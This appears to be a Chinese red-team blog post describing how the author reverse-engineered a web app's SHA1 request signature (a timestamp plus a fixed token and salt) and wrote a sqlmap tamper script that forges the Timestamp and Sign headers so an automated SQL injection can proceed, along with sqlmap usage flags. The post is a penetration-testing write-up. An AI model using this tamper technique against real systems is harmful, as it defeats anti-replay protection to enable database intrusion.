简述
在打护网的时候发现了一个注入,但是包存在 sign,手工跑起来太麻烦,所以编写了个 tamper,便有了这篇文章。
分析 sign 的构成
抓包这里有个明显的 Sign ,如果时间过了重放会直接提示错误的 token
全局搜索 \bsign\b
大致就能找到相似的内容,或者控制台直接看栈跟踪
这里我用的全局搜索跟进的,很明显就看到了这个 Sign 是怎么生成的
这里的变量只有一个时间戳,其他的全是固定的。
然后这里是经过了 l(c)
生成的结果,这个 l
在这个 sign 上面就有,但是我演示下别的方法,那就是打断点,火狐浏览器点一下要断点的地方后,直接刷新页面
直接点这个跟进就行
然后就能看到这个 l()
函数
这个函数我是问的 ChatGPT 才知道是实现的 Sha1 加密
那根据刚刚的分析就能很明显看出来这个 Sign 的构成
编写脚本
这个脚本直接参考 sqlmap 的 xforwardedfor.py
tamper。
就是写个 sha1 加密,然后照抄那个 sign 就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
|
""" Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """
import random
from lib.core.compat import xrange from lib.core.enums import PRIORITY from datetime import datetime, timedelta from hashlib import sha1
__priority__ = PRIORITY.NORMAL
def dependencies(): pass
def o(): current_time = datetime.now() updated_time = current_time - timedelta(seconds=2) formatted_time = updated_time.strftime("%Y%m%d%H%M%S") return formatted_time
def encrypt(time: str): payload = f'token=b***3×tamp={time}&solt=b***k' s1 = sha1(payload.encode()) return s1.hexdigest()
def tamper(payload, **kwargs): """ Append a fake HTTP header 'X-Forwarded-For' (and alike) """
headers = kwargs.get("headers", {}) time = o() headers['Timestamp'] = time headers['Sign'] = encrypt(time)
return payload
|
使用
命令行直接指定个 tamper=test.py
就行了,这里还有个别的过滤,但是绕过太常规了,就不在这说了,我这里还加了个参数防止出错影响数据,加个重试参数
1
| --retry-on "\"msg\":\"invalid token\""
|